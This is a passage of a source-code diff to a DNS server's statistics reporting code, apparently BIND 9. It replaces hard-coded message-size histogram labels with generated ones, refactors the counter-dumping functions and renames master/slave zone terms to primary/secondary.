-	SET_SIZESTATDESC(2384, "responses sent 2384-2399 bytes", "2384-2399",
-			 out);
-	SET_SIZESTATDESC(2400, "responses sent 2400-2415 bytes", "2400-2415",
-			 out);
-	SET_SIZESTATDESC(2416, "responses sent 2416-2431 bytes", "2416-2431",
-			 out);
-	SET_SIZESTATDESC(2432, "responses sent 2432-2447 bytes", "2432-2447",
-			 out);
-	SET_SIZESTATDESC(2448, "responses sent 2448-2463 bytes", "2448-2463",
-			 out);
-	SET_SIZESTATDESC(2464, "responses sent 2464-2479 bytes", "2464-2479",
-			 out);
-	SET_SIZESTATDESC(2480, "responses sent 2480-2495 bytes", "2480-2495",
-			 out);
-	SET_SIZESTATDESC(2496, "responses sent 2496-2511 bytes", "2496-2511",
-			 out);
-	SET_SIZESTATDESC(2512, "responses sent 2512-2527 bytes", "2512-2527",
-			 out);
-	SET_SIZESTATDESC(2528, "responses sent 2528-2543 bytes", "2528-2543",
-			 out);
-	SET_SIZESTATDESC(2544, "responses sent 2544-2559 bytes", "2544-2559",
-			 out);
-	SET_SIZESTATDESC(2560, "responses sent 2560-2575 bytes", "2560-2575",
-			 out);
-	SET_SIZESTATDESC(2576, "responses sent 2576-2591 bytes", "2576-2591",
-			 out);
-	SET_SIZESTATDESC(2592, "responses sent 2592-2607 bytes", "2592-2607",
-			 out);
-	SET_SIZESTATDESC(2608, "responses sent 2608-2623 bytes", "2608-2623",
-			 out);
-	SET_SIZESTATDESC(2624, "responses sent 2624-2639 bytes", "2624-2639",
-			 out);
-	SET_SIZESTATDESC(2640, "responses sent 2640-2655 bytes", "2640-2655",
-			 out);
-	SET_SIZESTATDESC(2656, "responses sent 2656-2671 bytes", "2656-2671",
-			 out);
-	SET_SIZESTATDESC(2672, "responses sent 2672-2687 bytes", "2672-2687",
-			 out);
-	SET_SIZESTATDESC(2688, "responses sent 2688-2703 bytes", "2688-2703",
-			 out);
-	SET_SIZESTATDESC(2704, "responses sent 2704-2719 bytes", "2704-2719",
-			 out);
-	SET_SIZESTATDESC(2720, "responses sent 2720-2735 bytes", "2720-2735",
-			 out);
-	SET_SIZESTATDESC(2736, "responses sent 2736-2751 bytes", "2736-2751",
-			 out);
-	SET_SIZESTATDESC(2752, "responses sent 2752-2767 bytes", "2752-2767",
-			 out);
-	SET_SIZESTATDESC(2768, "responses sent 2768-2783 bytes", "2768-2783",
-			 out);
-	SET_SIZESTATDESC(2784, "responses sent 2784-2799 bytes", "2784-2799",
-			 out);
-	SET_SIZESTATDESC(2800, "responses sent 2800-2815 bytes", "2800-2815",
-			 out);
-	SET_SIZESTATDESC(2816, "responses sent 2816-2831 bytes", "2816-2831",
-			 out);
-	SET_SIZESTATDESC(2832, "responses sent 2832-2847 bytes", "2832-2847",
-			 out);
-	SET_SIZESTATDESC(2848, "responses sent 2848-2863 bytes", "2848-2863",
-			 out);
-	SET_SIZESTATDESC(2864, "responses sent 2864-2879 bytes", "2864-2879",
-			 out);
-	SET_SIZESTATDESC(2880, "responses sent 2880-2895 bytes", "2880-2895",
-			 out);
-	SET_SIZESTATDESC(2896, "responses sent 2896-2911 bytes", "2896-2911",
-			 out);
-	SET_SIZESTATDESC(2912, "responses sent 2912-2927 bytes", "2912-2927",
-			 out);
-	SET_SIZESTATDESC(2928, "responses sent 2928-2943 bytes", "2928-2943",
-			 out);
-	SET_SIZESTATDESC(2944, "responses sent 2944-2959 bytes", "2944-2959",
-			 out);
-	SET_SIZESTATDESC(2960, "responses sent 2960-2975 bytes", "2960-2975",
-			 out);
-	SET_SIZESTATDESC(2976, "responses sent 2976-2991 bytes", "2976-2991",
-			 out);
-	SET_SIZESTATDESC(2992, "responses sent 2992-3007 bytes", "2992-3007",
-			 out);
-	SET_SIZESTATDESC(3008, "responses sent 3008-3023 bytes", "3008-3023",
-			 out);
-	SET_SIZESTATDESC(3024, "responses sent 3024-3039 bytes", "3024-3039",
-			 out);
-	SET_SIZESTATDESC(3040, "responses sent 3040-3055 bytes", "3040-3055",
-			 out);
-	SET_SIZESTATDESC(3056, "responses sent 3056-3071 bytes", "3056-3071",
-			 out);
-	SET_SIZESTATDESC(3072, "responses sent 3072-3087 bytes", "3072-3087",
-			 out);
-	SET_SIZESTATDESC(3088, "responses sent 3088-3103 bytes", "3088-3103",
-			 out);
-	SET_SIZESTATDESC(3104, "responses sent 3104-3119 bytes", "3104-3119",
-			 out);
-	SET_SIZESTATDESC(3120, "responses sent 3120-3135 bytes", "3120-3135",
-			 out);
-	SET_SIZESTATDESC(3136, "responses sent 3136-3151 bytes", "3136-3151",
-			 out);
-	SET_SIZESTATDESC(3152, "responses sent 3152-3167 bytes", "3152-3167",
-			 out);
-	SET_SIZESTATDESC(3168, "responses sent 3168-3183 bytes", "3168-3183",
-			 out);
-	SET_SIZESTATDESC(3184, "responses sent 3184-3199 bytes", "3184-3199",
-			 out);
-	SET_SIZESTATDESC(3200, "responses sent 3200-3215 bytes", "3200-3215",
-			 out);
-	SET_SIZESTATDESC(3216, "responses sent 3216-3231 bytes", "3216-3231",
-			 out);
-	SET_SIZESTATDESC(3232, "responses sent 3232-3247 bytes", "3232-3247",
-			 out);
-	SET_SIZESTATDESC(3248, "responses sent 3248-3263 bytes", "3248-3263",
-			 out);
-	SET_SIZESTATDESC(3264, "responses sent 3264-3279 bytes", "3264-3279",
-			 out);
-	SET_SIZESTATDESC(3280, "responses sent 3280-3295 bytes", "3280-3295",
-			 out);
-	SET_SIZESTATDESC(3296, "responses sent 3296-3311 bytes", "3296-3311",
-			 out);
-	SET_SIZESTATDESC(3312, "responses sent 3312-3327 bytes", "3312-3327",
-			 out);
-	SET_SIZESTATDESC(3328, "responses sent 3328-3343 bytes", "3328-3343",
-			 out);
-	SET_SIZESTATDESC(3344, "responses sent 3344-3359 bytes", "3344-3359",
-			 out);
-	SET_SIZESTATDESC(3360, "responses sent 3360-3375 bytes", "3360-3375",
-			 out);
-	SET_SIZESTATDESC(3376, "responses sent 3376-3391 bytes", "3376-3391",
-			 out);
-	SET_SIZESTATDESC(3392, "responses sent 3392-3407 bytes", "3392-3407",
-			 out);
-	SET_SIZESTATDESC(3408, "responses sent 3408-3423 bytes", "3408-3423",
-			 out);
-	SET_SIZESTATDESC(3424, "responses sent 3424-3439 bytes", "3424-3439",
-			 out);
-	SET_SIZESTATDESC(3440, "responses sent 3440-3455 bytes", "3440-3455",
-			 out);
-	SET_SIZESTATDESC(3456, "responses sent 3456-3471 bytes", "3456-3471",
-			 out);
-	SET_SIZESTATDESC(3472, "responses sent 3472-3487 bytes", "3472-3487",
-			 out);
-	SET_SIZESTATDESC(3488, "responses sent 3488-3503 bytes", "3488-3503",
-			 out);
-	SET_SIZESTATDESC(3504, "responses sent 3504-3519 bytes", "3504-3519",
-			 out);
-	SET_SIZESTATDESC(3520, "responses sent 3520-3535 bytes", "3520-3535",
-			 out);
-	SET_SIZESTATDESC(3536, "responses sent 3536-3551 bytes", "3536-3551",
-			 out);
-	SET_SIZESTATDESC(3552, "responses sent 3552-3567 bytes", "3552-3567",
-			 out);
-	SET_SIZESTATDESC(3568, "responses sent 3568-3583 bytes", "3568-3583",
-			 out);
-	SET_SIZESTATDESC(3584, "responses sent 3584-3599 bytes", "3584-3599",
-			 out);
-	SET_SIZESTATDESC(3600, "responses sent 3600-3615 bytes", "3600-3615",
-			 out);
-	SET_SIZESTATDESC(3616, "responses sent 3616-3631 bytes", "3616-3631",
-			 out);
-	SET_SIZESTATDESC(3632, "responses sent 3632-3647 bytes", "3632-3647",
-			 out);
-	SET_SIZESTATDESC(3648, "responses sent 3648-3663 bytes", "3648-3663",
-			 out);
-	SET_SIZESTATDESC(3664, "responses sent 3664-3679 bytes", "3664-3679",
-			 out);
-	SET_SIZESTATDESC(3680, "responses sent 3680-3695 bytes", "3680-3695",
-			 out);
-	SET_SIZESTATDESC(3696, "responses sent 3696-3711 bytes", "3696-3711",
-			 out);
-	SET_SIZESTATDESC(3712, "responses sent 3712-3727 bytes", "3712-3727",
-			 out);
-	SET_SIZESTATDESC(3728, "responses sent 3728-3743 bytes", "3728-3743",
-			 out);
-	SET_SIZESTATDESC(3744, "responses sent 3744-3759 bytes", "3744-3759",
-			 out);
-	SET_SIZESTATDESC(3760, "responses sent 3760-3775 bytes", "3760-3775",
-			 out);
-	SET_SIZESTATDESC(3776, "responses sent 3776-3791 bytes", "3776-3791",
-			 out);
-	SET_SIZESTATDESC(3792, "responses sent 3792-3807 bytes", "3792-3807",
-			 out);
-	SET_SIZESTATDESC(3808, "responses sent 3808-3823 bytes", "3808-3823",
-			 out);
-	SET_SIZESTATDESC(3824, "responses sent 3824-3839 bytes", "3824-3839",
-			 out);
-	SET_SIZESTATDESC(3840, "responses sent 3840-3855 bytes", "3840-3855",
-			 out);
-	SET_SIZESTATDESC(3856, "responses sent 3856-3871 bytes", "3856-3871",
-			 out);
-	SET_SIZESTATDESC(3872, "responses sent 3872-3887 bytes", "3872-3887",
-			 out);
-	SET_SIZESTATDESC(3888, "responses sent 3888-3903 bytes", "3888-3903",
-			 out);
-	SET_SIZESTATDESC(3904, "responses sent 3904-3919 bytes", "3904-3919",
-			 out);
-	SET_SIZESTATDESC(3920, "responses sent 3920-3935 bytes", "3920-3935",
-			 out);
-	SET_SIZESTATDESC(3936, "responses sent 3936-3951 bytes", "3936-3951",
-			 out);
-	SET_SIZESTATDESC(3952, "responses sent 3952-3967 bytes", "3952-3967",
-			 out);
-	SET_SIZESTATDESC(3968, "responses sent 3968-3983 bytes", "3968-3983",
-			 out);
-	SET_SIZESTATDESC(3984, "responses sent 3984-3999 bytes", "3984-3999",
-			 out);
-	SET_SIZESTATDESC(4000, "responses sent 4000-4015 bytes", "4000-4015",
-			 out);
-	SET_SIZESTATDESC(4016, "responses sent 4016-4031 bytes", "4016-4031",
-			 out);
-	SET_SIZESTATDESC(4032, "responses sent 4032-4047 bytes", "4032-4047",
-			 out);
-	SET_SIZESTATDESC(4048, "responses sent 4048-4063 bytes", "4048-4063",
-			 out);
-	SET_SIZESTATDESC(4064, "responses sent 4064-4079 bytes", "4064-4079",
-			 out);
-	SET_SIZESTATDESC(4080, "responses sent 4080-4095 bytes", "4080-4095",
-			 out);
-	SET_SIZESTATDESC(4096, "responses sent 4096+ bytes", "4096+", out);
-	INSIST(i == dns_sizecounter_out_max);
-
-	/* Sanity check */
-	for (i = 0; i < ns_statscounter_max; i++) {
-		INSIST(nsstats_desc[i] != NULL);
-	}
-	for (i = 0; i < dns_resstatscounter_max; i++) {
-		INSIST(resstats_desc[i] != NULL);
-	}
-	for (i = 0; i < dns_adbstats_max; i++) {
-		INSIST(adbstats_desc[i] != NULL);
-	}
-	for (i = 0; i < dns_zonestatscounter_max; i++) {
-		INSIST(zonestats_desc[i] != NULL);
-	}
-	for (i = 0; i < isc_sockstatscounter_max; i++) {
-		INSIST(sockstats_desc[i] != NULL);
-	}
-	for (i = 0; i < dns_dnssecstats_max; i++) {
-		INSIST(dnssecstats_desc[i] != NULL);
-	}
-	for (i = 0; i < dns_sizecounter_in_max; i++) {
-		INSIST(udpinsizestats_desc[i] != NULL);
-		INSIST(tcpinsizestats_desc[i] != NULL);
-	}
-	for (i = 0; i < dns_sizecounter_out_max; i++) {
-		INSIST(udpoutsizestats_desc[i] != NULL);
-		INSIST(tcpoutsizestats_desc[i] != NULL);
-	}
+	for (i = 0; i <= DNS_SIZEHISTO_MAXIN; i++) {
+		udpinsizestats_index[i] = i;
+		tcpinsizestats_index[i] = i;
+		udpinsizestats_desc[i] = get_histo_desc(
+			"requests received", i, DNS_SIZEHISTO_MAXIN, false);
+		tcpinsizestats_desc[i] = udpinsizestats_desc[i];
 #if defined(EXTENDED_STATS)
-	for (i = 0; i < ns_statscounter_max; i++) {
-		INSIST(nsstats_xmldesc[i] != NULL);
-	}
-	for (i = 0; i < dns_resstatscounter_max; i++) {
-		INSIST(resstats_xmldesc[i] != NULL);
-	}
-	for (i = 0; i < dns_adbstats_max; i++) {
-		INSIST(adbstats_xmldesc[i] != NULL);
-	}
-	for (i = 0; i < dns_zonestatscounter_max; i++) {
-		INSIST(zonestats_xmldesc[i] != NULL);
-	}
-	for (i = 0; i < isc_sockstatscounter_max; i++) {
-		INSIST(sockstats_xmldesc[i] != NULL);
-	}
-	for (i = 0; i < dns_dnssecstats_max; i++) {
-		INSIST(dnssecstats_xmldesc[i] != NULL);
-	}
-	for (i = 0; i < dns_sizecounter_in_max; i++) {
-		INSIST(udpinsizestats_xmldesc[i] != NULL);
-		INSIST(tcpinsizestats_xmldesc[i] != NULL);
-	}
-	for (i = 0; i < dns_sizecounter_out_max; i++) {
-		INSIST(udpoutsizestats_xmldesc[i] != NULL);
-		INSIST(tcpoutsizestats_xmldesc[i] != NULL);
-	}
+		if (i < DNS_SIZEHISTO_MAXIN) {
+			udpinsizestats_xmldesc[i] = udpoutsizestats_xmldesc[i];
+			tcpinsizestats_xmldesc[i] = tcpoutsizestats_xmldesc[i];
+		} else {
+			udpinsizestats_xmldesc[i] =
+				get_histo_desc("requests received", i,
+					       DNS_SIZEHISTO_MAXIN, true);
+			tcpinsizestats_xmldesc[i] = udpinsizestats_xmldesc[i];
+		}
 #endif /* if defined(EXTENDED_STATS) */
+	}
 }
 
 /*%
  * Dump callback functions.
  */
+
+static isc_result_t
+dump_counters(isc_statsformat_t type, void *arg, const char *category,
+	      const char **desc, int ncounters, int *indices, uint64_t *values,
+	      int options);
+
 static void
 generalstat_dump(isc_statscounter_t counter, uint64_t val, void *arg) {
 	stats_dumparg_t *dumparg = arg;
@@ -1324,12 +833,47 @@ generalstat_dump(isc_statscounter_t counter, uint64_t val, void *arg) {
 }
 
 static isc_result_t
-dump_counters(isc_stats_t *stats, isc_statsformat_t type, void *arg,
-	      const char *category, const char **desc, int ncounters,
-	      int *indices, uint64_t *values, int options) {
+dump_stats(isc_stats_t *stats, isc_statsformat_t type, void *arg,
+	   const char *category, const char **desc, int ncounters, int *indices,
+	   uint64_t *values, int options) {
+	stats_dumparg_t dumparg;
+
+	dumparg.type = type;
+	dumparg.ncounters = ncounters;
+	dumparg.counterindices = indices;
+	dumparg.countervalues = values;
+
+	memset(values, 0, sizeof(values[0]) * ncounters);
+	isc_stats_dump(stats, generalstat_dump, &dumparg, options);
+
+	return (dump_counters(type, arg, category, desc, ncounters, indices,
+			      values, options));
+}
+
+#if defined(EXTENDED_STATS)
+static isc_result_t
+dump_histo(isc_histomulti_t *hm, isc_statsformat_t type, void *arg,
+	   const char *category, const char **desc, int ncounters, int *indices,
+	   uint64_t *values, int options) {
+	isc_histo_t *hg = NULL;
+
+	isc_histomulti_merge(&hg, hm);
+	for (int i = 0; i < ncounters; i++) {
+		isc_histo_get(hg, i, NULL, NULL, &values[i]);
+	}
+	isc_histo_destroy(&hg);
+
+	return (dump_counters(type, arg, category, desc, ncounters, indices,
+			      values, options));
+}
+#endif /* defined(EXTENDED_STATS) */
+
+static isc_result_t
+dump_counters(isc_statsformat_t type, void *arg, const char *category,
+	      const char **desc, int ncounters, int *indices, uint64_t *values,
+	      int options) {
 	int i, idx;
 	uint64_t value;
-	stats_dumparg_t dumparg;
 	FILE *fp;
 #ifdef HAVE_LIBXML2
 	void *writer;
@@ -1343,14 +887,6 @@ dump_counters(isc_stats_t *stats, isc_statsformat_t type, void *arg,
 	UNUSED(category);
 #endif /* if !defined(EXTENDED_STATS) */
 
-	dumparg.type = type;
-	dumparg.ncounters = ncounters;
-	dumparg.counterindices = indices;
-	dumparg.countervalues = values;
-
-	memset(values, 0, sizeof(values[0]) * ncounters);
-	isc_stats_dump(stats, generalstat_dump, &dumparg, options);
-
 #ifdef HAVE_JSON_C
 	cat = job = (json_object *)arg;
 	if (ncounters > 0 && type == isc_statsformat_json) {
@@ -1372,7 +908,7 @@ dump_counters(isc_stats_t *stats, isc_statsformat_t type, void *arg,
 			continue;
 		}
 
-		switch (dumparg.type) {
+		switch (type) {
 		case isc_statsformat_file:
 			fp = arg;
 			fprintf(fp, "%20" PRIu64 " %s\n", value, desc[idx]);
@@ -1454,7 +990,8 @@ rdtypestat_dump(dns_rdatastatstype_t type, uint64_t val, void *arg) {
 #endif /* ifdef HAVE_JSON_C */
 
 	if ((DNS_RDATASTATSTYPE_ATTR(type) &
-	     DNS_RDATASTATSTYPE_ATTR_OTHERTYPE) == 0) {
+	     DNS_RDATASTATSTYPE_ATTR_OTHERTYPE) == 0)
+	{
 		dns_rdatatype_format(DNS_RDATASTATSTYPE_BASE(type), typebuf,
 				     sizeof(typebuf));
 		typestr = typebuf;
@@ -1526,7 +1063,8 @@ rdatasetstats_dump(dns_rdatastatstype_t type, uint64_t val, void *arg) {
 #endif /* ifdef HAVE_JSON_C */
 
 	if ((DNS_RDATASTATSTYPE_ATTR(type) &
-	     DNS_RDATASTATSTYPE_ATTR_NXDOMAIN) != 0) {
+	     DNS_RDATASTATSTYPE_ATTR_NXDOMAIN) != 0)
+	{
 		typestr = "NXDOMAIN";
 	} else if ((DNS_RDATASTATSTYPE_ATTR(type) &
 		    DNS_RDATASTATSTYPE_ATTR_OTHERTYPE) != 0)
@@ -1703,7 +1241,7 @@ rcodestat_dump(dns_rcode_t code, uint64_t val, void *arg) {
 
 #if defined(EXTENDED_STATS)
 static void
-dnssecsignstat_dump(dns_keytag_t tag, uint64_t val, void *arg) {
+dnssecsignstat_dump(uint32_t kval, uint64_t val, void *arg) {
 	FILE *fp;
 	char tagbuf[64];
 	stats_dumparg_t *dumparg = arg;
@@ -1715,7 +1253,11 @@ dnssecsignstat_dump(dns_keytag_t tag, uint64_t val, void *arg) {
 	json_object *zoneobj, *obj;
 #endif /* ifdef HAVE_JSON_C */
 
-	snprintf(tagbuf, sizeof(tagbuf), "%u", tag);
+	/*
+	 * kval is '(algorithm << 16) | keyid'.
+	 */
+	snprintf(tagbuf, sizeof(tagbuf), "%u+%u", (kval >> 16) & 0xff,
+		 kval & 0xffff);
 
 	switch (dumparg->type) {
 	case isc_statsformat_file:
@@ -1762,7 +1304,6 @@ dnssecsignstat_dump(dns_keytag_t tag, uint64_t val, void *arg) {
 #define STATS_XML_STATUS  0x00 /* display only common statistics */
 #define STATS_XML_SERVER  0x01
 #define STATS_XML_ZONES	  0x02
-#define STATS_XML_TASKS	  0x04
 #define STATS_XML_NET	  0x08
 #define STATS_XML_MEM	  0x10
 #define STATS_XML_TRAFFIC 0x20
@@ -1819,10 +1360,9 @@ zone_xmlrender(dns_zone_t *zone, void *arg) {
 
 	/*
 	 * Export zone timers to the statistics channel in XML format.  For
-	 * master zones, only include the loaded time.  For slave zones, also
-	 * include the expires and refresh times.
+	 * primary zones, only include the loaded time.  For secondary zones,
+	 * also include the expire and refresh times.
 	 */
-
 	CHECK(dns_zone_getloadtime(zone, &timestamp));
 
 	isc_time_formatISO8601(&timestamp, buf, 64);
@@ -1830,7 +1370,7 @@ zone_xmlrender(dns_zone_t *zone, void *arg) {
 	TRY0(xmlTextWriterWriteString(writer, ISC_XMLCHAR buf));
 	TRY0(xmlTextWriterEndElement(writer));
 
-	if (dns_zone_gettype(zone) == dns_zone_slave) {
+	if (dns_zone_gettype(zone) == dns_zone_secondary) {
 		CHECK(dns_zone_getexpiretime(zone, &timestamp));
 		isc_time_formatISO8601(&timestamp, buf, 64);
 		TRY0(xmlTextWriterStartElement(writer, ISC_XMLCHAR "expires"));
@@ -1860,11 +1400,10 @@ zone_xmlrender(dns_zone_t *zone, void *arg) {
 							 ISC_XMLCHAR "type",
 							 ISC_XMLCHAR "rcode"));
 
-			CHECK(dump_counters(zonestats, isc_statsformat_xml,
-					    writer, NULL, nsstats_xmldesc,
-					    ns_statscounter_max, nsstats_index,
-					    nsstat_values,
-					    ISC_STATSDUMP_VERBOSE));
+			CHECK(dump_stats(zonestats, isc_statsformat_xml, writer,
+					 NULL, nsstats_xmldesc,
+					 ns_statscounter_max, nsstats_index,
+					 nsstat_values, ISC_STATSDUMP_VERBOSE));
 			/* counters type="rcode"*/
 			TRY0(xmlTextWriterEndElement(writer));
 		}
@@ -1877,12 +1416,12 @@ zone_xmlrender(dns_zone_t *zone, void *arg) {
 				writer, ISC_XMLCHAR "type",
 				ISC_XMLCHAR "gluecache"));
 
-			CHECK(dump_counters(
-				gluecachestats, isc_statsformat_xml, writer,
-				NULL, gluecachestats_xmldesc,
-				dns_gluecachestatscounter_max,
-				gluecachestats_index, gluecachestats_values,
-				ISC_STATSDUMP_VERBOSE));
+			CHECK(dump_stats(gluecachestats, isc_statsformat_xml,
+					 writer, NULL, gluecachestats_xmldesc,
+					 dns_gluecachestatscounter_max,
+					 gluecachestats_index,
+					 gluecachestats_values,
+					 ISC_STATSDUMP_VERBOSE));
 			/* counters type="rcode"*/
 			TRY0(xmlTextWriterEndElement(writer));
 		}
@@ -1956,7 +1495,7 @@ generatexml(named_server_t *server, uint32_t flags, int *buflen,
 	char boottime[sizeof "yyyy-mm-ddThh:mm:ss.sssZ"];
 	char configtime[sizeof "yyyy-mm-ddThh:mm:ss.sssZ"];
 	char nowstr[sizeof "yyyy-mm-ddThh:mm:ss.sssZ"];
-	isc_time_t now;
+	isc_time_t now = isc_time_now();
 	xmlTextWriterPtr writer = NULL;
 	xmlDocPtr doc = NULL;
 	int xmlrc;
@@ -1968,16 +1507,15 @@ generatexml(named_server_t *server, uint32_t flags, int *buflen,
 	uint64_t adbstat_values[dns_adbstats_max];
 	uint64_t zonestat_values[dns_zonestatscounter_max];
 	uint64_t sockstat_values[isc_sockstatscounter_max];
-	uint64_t udpinsizestat_values[dns_sizecounter_in_max];
-	uint64_t udpoutsizestat_values[dns_sizecounter_out_max];
-	uint64_t tcpinsizestat_values[dns_sizecounter_in_max];
-	uint64_t tcpoutsizestat_values[dns_sizecounter_out_max];
+	uint64_t udpinsizestat_values[DNS_SIZEHISTO_MAXIN + 1];
+	uint64_t udpoutsizestat_values[DNS_SIZEHISTO_MAXOUT + 1];
+	uint64_t tcpinsizestat_values[DNS_SIZEHISTO_MAXIN + 1];
+	uint64_t tcpoutsizestat_values[DNS_SIZEHISTO_MAXOUT + 1];
 #ifdef HAVE_DNSTAP
 	uint64_t dnstapstat_values[dns_dnstapcounter_max];
 #endif /* ifdef HAVE_DNSTAP */
 	isc_result_t result;
 
-	isc_time_now(&now);
 	isc_time_formatISO8601ms(&named_g_boottime, boottime, sizeof boottime);
 	isc_time_formatISO8601ms(&named_g_configtime, configtime,
 				 sizeof configtime);
@@ -1993,7 +1531,7 @@ generatexml(named_server_t *server, uint32_t flags, int *buflen,
 					      "href=\"/bind9.xsl\""));
 	TRY0(xmlTextWriterStartElement(writer, ISC_XMLCHAR "statistics"));
 	TRY0(xmlTextWriterWriteAttribute(writer, ISC_XMLCHAR "version",
-					 ISC_XMLCHAR "3.11"));
+					 ISC_XMLCHAR STATS_XML_VERSION));
 
 	/* Set common fields for statistics dump */
 	dumparg.type = isc_statsformat_xml;
@@ -2052,11 +1590,11 @@ generatexml(named_server_t *server, uint32_t flags, int *buflen,
 		TRY0(xmlTextWriterWriteAttribute(writer, ISC_XMLCHAR "type",
 						 ISC_XMLCHAR "nsstat"));
 
-		CHECK(dump_counters(ns_stats_get(server->sctx->nsstats),
-				    isc_statsformat_xml, writer, NULL,
-				    nsstats_xmldesc, ns_statscounter_max,
-				    nsstats_index, nsstat_values,
-				    ISC_STATSDUMP_VERBOSE));
+		CHECK(dump_stats(ns_stats_get(server->sctx->nsstats),
+				 isc_statsformat_xml, writer, NULL,
+				 nsstats_xmldesc, ns_statscounter_max,
+				 nsstats_index, nsstat_values,
+				 ISC_STATSDUMP_VERBOSE));
 
 		TRY0(xmlTextWriterEndElement(writer)); /* /nsstat */
 
@@ -2064,10 +1602,10 @@ generatexml(named_server_t *server, uint32_t flags, int *buflen,
 		TRY0(xmlTextWriterWriteAttribute(writer, ISC_XMLCHAR "type",
 						 ISC_XMLCHAR "zonestat"));
 
-		CHECK(dump_counters(server->zonestats, isc_statsformat_xml,
-				    writer, NULL, zonestats_xmldesc,
-				    dns_zonestatscounter_max, zonestats_index,
-				    zonestat_values, ISC_STATSDUMP_VERBOSE));
+		CHECK(dump_stats(server->zonestats, isc_statsformat_xml, writer,
+				 NULL, zonestats_xmldesc,
+				 dns_zonestatscounter_max, zonestats_index,
+				 zonestat_values, ISC_STATSDUMP_VERBOSE));
 
 		TRY0(xmlTextWriterEndElement(writer)); /* /zonestat */
 
@@ -2078,10 +1616,10 @@ generatexml(named_server_t *server, uint32_t flags, int *buflen,
 		TRY0(xmlTextWriterStartElement(writer, ISC_XMLCHAR "counters"));
 		TRY0(xmlTextWriterWriteAttribute(writer, ISC_XMLCHAR "type",
 						 ISC_XMLCHAR "resstat"));
-		CHECK(dump_counters(server->resolverstats, isc_statsformat_xml,
-				    writer, NULL, resstats_xmldesc,
-				    dns_resstatscounter_max, resstats_index,
-				    resstat_values, 0));
+		CHECK(dump_stats(server->resolverstats, isc_statsformat_xml,
+				 writer, NULL, resstats_xmldesc,
+				 dns_resstatscounter_max, resstats_index,
+				 resstat_values, 0));
 
 		TRY0(xmlTextWriterEndElement(writer)); /* resstat */
 
@@ -2094,7 +1632,7 @@ generatexml(named_server_t *server, uint32_t flags, int *buflen,
 							 ISC_XMLCHAR "type",
 							 ISC_XMLCHAR "dnstap"));
 			dns_dt_getstats(named_g_server->dtenv, &dnstapstats);
-			result = dump_counters(
+			result = dump_stats(
 				dnstapstats, isc_statsformat_xml, writer, NULL,
 				dnstapstats_xmldesc, dns_dnstapcounter_max,
 				dnstapstats_index, dnstapstat_values, 0);
@@ -2111,10 +1649,10 @@ generatexml(named_server_t *server, uint32_t flags, int *buflen,
 		TRY0(xmlTextWriterWriteAttribute(writer, ISC_XMLCHAR "type",
 						 ISC_XMLCHAR "sockstat"));
 
-		CHECK(dump_counters(server->sockstats, isc_statsformat_xml,
-				    writer, NULL, sockstats_xmldesc,
-				    isc_sockstatscounter_max, sockstats_index,
-				    sockstat_values, ISC_STATSDUMP_VERBOSE));
+		CHECK(dump_stats(server->sockstats, isc_statsformat_xml, writer,
+				 NULL, sockstats_xmldesc,
+				 isc_sockstatscounter_max, sockstats_index,
+				 sockstat_values, ISC_STATSDUMP_VERBOSE));
 
 		TRY0(xmlTextWriterEndElement(writer)); /* /sockstat */
 	}
@@ -2128,10 +1666,10 @@ generatexml(named_server_t *server, uint32_t flags, int *buflen,
 		TRY0(xmlTextWriterWriteAttribute(writer, ISC_XMLCHAR "type",
 						 ISC_XMLCHAR "request-size"));
 
-		CHECK(dump_counters(
-			server->sctx->udpinstats4, isc_statsformat_xml, writer,
-			NULL, udpinsizestats_xmldesc, dns_sizecounter_in_max,
-			udpinsizestats_index, udpinsizestat_values, 0));
+		CHECK(dump_histo(server->sctx->udpinstats4, isc_statsformat_xml,
+				 writer, NULL, udpinsizestats_xmldesc,
+				 dns_sizecounter_in_max, udpinsizestats_index,
+				 udpinsizestat_values, 0));
 
 		TRY0(xmlTextWriterEndElement(writer)); /* </counters> */
 
@@ -2139,7 +1677,7 @@ generatexml(named_server_t *server, uint32_t flags, int *buflen,
 		TRY0(xmlTextWriterWriteAttribute(writer, ISC_XMLCHAR "type",
 						 ISC_XMLCHAR "response-size"));
 
-		CHECK(dump_counters(
+		CHECK(dump_histo(
 			server->sctx->udpoutstats4, isc_statsformat_xml, writer,
 			NULL, udpoutsizestats_xmldesc, dns_sizecounter_out_max,
 			udpoutsizestats_index, udpoutsizestat_values, 0));
@@ -2152,17 +1690,17 @@ generatexml(named_server_t *server, uint32_t flags, int *buflen,
 		TRY0(xmlTextWriterWriteAttribute(writer, ISC_XMLCHAR "type",
 						 ISC_XMLCHAR "request-size"));
 
-		CHECK(dump_counters(
-			server->sctx->tcpinstats4, isc_statsformat_xml, writer,
-			NULL, tcpinsizestats_xmldesc, dns_sizecounter_in_max,
-			tcpinsizestats_index, tcpinsizestat_values, 0));
+		CHECK(dump_histo(server->sctx->tcpinstats4, isc_statsformat_xml,
+				 writer, NULL, tcpinsizestats_xmldesc,
+				 dns_sizecounter_in_max, tcpinsizestats_index,
+				 tcpinsizestat_values, 0));
 
 		TRY0(xmlTextWriterEndElement(writer)); /* </counters> */
 		TRY0(xmlTextWriterStartElement(writer, ISC_XMLCHAR "counters"));
 		TRY0(xmlTextWriterWriteAttribute(writer, ISC_XMLCHAR "type",
 						 ISC_XMLCHAR "response-size"));
 
-		CHECK(dump_counters(
+		CHECK(dump_histo(
 			server->sctx->tcpoutstats4, isc_statsformat_xml, writer,
 			NULL, tcpoutsizestats_xmldesc, dns_sizecounter_out_max,
 			tcpoutsizestats_index, tcpoutsizestat_values, 0));
@@ -2177,10 +1715,10 @@ generatexml(named_server_t *server, uint32_t flags, int *buflen,
 		TRY0(xmlTextWriterWriteAttribute(writer, ISC_XMLCHAR "type",
 						 ISC_XMLCHAR "request-size"));
 
-		CHECK(dump_counters(
-			server->sctx->udpinstats6, isc_statsformat_xml, writer,
-			NULL, udpinsizestats_xmldesc, dns_sizecounter_in_max,
-			udpinsizestats_index, udpinsizestat_values, 0));
+		CHECK(dump_histo(server->sctx->udpinstats6, isc_statsformat_xml,
+				 writer, NULL, udpinsizestats_xmldesc,
+				 dns_sizecounter_in_max, udpinsizestats_index,
+				 udpinsizestat_values, 0));
 
 		TRY0(xmlTextWriterEndElement(writer)); /* </counters> */
 
@@ -2188,7 +1726,7 @@ generatexml(named_server_t *server, uint32_t flags, int *buflen,
 		TRY0(xmlTextWriterWriteAttribute(writer, ISC_XMLCHAR "type",
 						 ISC_XMLCHAR "response-size"));
 
-		CHECK(dump_counters(
+		CHECK(dump_histo(
 			server->sctx->udpoutstats6, isc_statsformat_xml, writer,
 			NULL, udpoutsizestats_xmldesc, dns_sizecounter_out_max,
